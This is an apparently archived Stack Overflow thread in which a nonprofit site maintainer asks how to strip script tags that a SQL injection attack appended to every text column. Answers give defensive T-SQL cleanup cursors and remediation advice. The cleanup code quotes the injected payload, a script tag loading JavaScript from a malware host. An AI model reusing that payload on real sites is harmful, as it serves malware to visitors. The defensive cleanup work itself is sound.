<p>I've been tasked with the the maintenance of a nonprofit website that recently fell victim to a SQL injection attack. Someone exploited a form on the site to add text to every available text-like field in the database (varchar, nvarchar, etc.) which, when rendered as HTML, includes and executes a JavaScript file. </p>

<p>A Google search of the URL indicates that it's from email spammers based out of Romania or China, but that's not what's important right now.</p>

<p>I went through and manually removed the information from the the text fields that render on most visible and popular pages on the site but I'm curious as to what would be the best programmatic way of removing the text from the other text fields on the site. </p>

<p>Obviously there's more that needs to be done (hardening the site against SQL injections, using something like markdown instead of storing HTML, etc.) and I am working on those but for the time being what I really need is a good way to go in and programmatically remove the injected text. I know what the exact text is, it's the same every time, and it's always appended to the end of any text field. I can't afford to strip out all HTML in the database at this time and I don't know when this happened exactly so I can't just roll back to a backup. Also, the site is on shared hosting and I cannot connect to the database directly with SQL Server tools. I can execute queries against it though, so if there's any way of constructing a SQL update statement to the effect of "hey find all the text fields in all of the tables in the entire database and do this to clean them" that would be the best. </p>

[{'answer_id': 32417, 'author': 'DrPizza', 'author_id': 2131, 'author_profile': 'https://Stackoverflow.com/users/2131', 'pm_score': 4, 'selected': True, 'text': '<p>Restore the data from a recent backup.</p>\n'}, {'answer_id': 32422, 'author': 'SQLMenace', 'author_id': 740, 'author_profile': 'https://Stackoverflow.com/users/740', 'pm_score': 0, 'selected': False, 'text': '<p>This will reverse that, also it would be wise to take sysobject permissions away from the username your site runs with, and to sanitize input of course</p>\n\n<pre><code>DECLARE @T VARCHAR(255),@C VARCHAR(4000) \nDECLARE Table_Cursor CURSOR FOR \nSELECT  a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype=\'u\' and\n(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) \nOPEN Table_Cursor \nFETCH NEXT FROM  Table_Cursor INTO @T,@C \nWHILE(@@FETCH_STATUS=0) \nBEGIN \nEXEC(\'if exists (select 1 from [\'+@T+\'] where [\'+@C+\']  like \'\'%"&gt;&lt;/title&gt;&lt;script src="http://1.verynx.cn/w.js"&gt;&lt;/script&gt;&lt;!--\'\') begin print \'\'update [\'+@T+\'] set [\'+@C+\']=replace([\'+@C+\'],\'\'\'\'"&gt;&lt;/title&gt;&lt;script src="http://1.verynx.cn/w.js"&gt;&lt;/script&gt;&lt;!--\'\'\'\',\'\'\'\'\'\'\'\') where [\'+@C+\']  like \'\'\'\'%"&gt;&lt;/title&gt;&lt;script src="http://1.verynx.cn/w.js"&gt;&lt;/script&gt;&lt;!--\'\'\'\'\'\' end\')\nFETCH NEXT FROM Table_Cursor INTO @T,@C \nEND \nCLOSE Table_Cursor \nDEALLOCATE Table_Cursor\n</code></pre>\n\n<p>I wrote about this a while back here: <a href="http://blogs.lessthandot.com/index.php/WebDev/WebDesignGraphicsStyling/microsoft-has-released-tools-to-address-" rel="nofollow noreferrer">Microsoft Has Released Tools To Address SQL Injection Attacks</a></p>\n'}, {'answer_id': 32456, 'author': 'Joel Coehoorn', 'author_id': 3043, 'author_profile': 'https://Stackoverflow.com/users/3043', 'pm_score': 1, 'selected': False, 'text': '<p>Assuming you\'ve fallen victim to the same attack as everyone else, then SQLMenace\' code is close.  However, that attack uses a number of different script urls, so you\'ll have to customize it to make sure it matches the url you\'re seeing in your database.  </p>\n\n<p><a href="http://jcoehoorn.vox.com/library/post/sql-injection-part-2.html" rel="nofollow noreferrer">I wrote about it as well</a>, and my solution code included a more-generic cleanup.  </p>\n\n<p>One important point is that the very first thing you need to do is <strong>take down the site</strong>.  Right now you\'re actively serving malware to your users, and that could put you in a legal fix later.  Put up a placeholder page so your users aren\'t left in the dark, but don\'t keep serving up malware.  Then you can fix the site to make sure it\'s no longer vulnerable to injection.  The simplest way to do that <em>for this particular attack</em> is to just disable sysobjects/syscolumns permissions for your web user, but you\'ll want to make a more through cleanup as well or it\'s only a matter of time until you\'re cracked again.  Then you can use the code provided to clean up the site and put it back live.</p>\n'}, {'answer_id': 3894547, 'author': 'Carlos', 'author_id': 470692, 'author_profile': 'https://Stackoverflow.com/users/470692', 'pm_score': 2, 'selected': False, 'text': "<p>I was victim and you can use it to clean up</p>\n\n<pre><code>UPDATE Table \nSET TextField = SUBSTRING(TextField, 1, CHARINDEX('&lt;/title', TextField) - 1)\nWHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('&lt;/title', Textfield, 1) &gt; 0)))\n</code></pre>\n"}]
['https://Stackoverflow.com/questions/32412', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/2577/']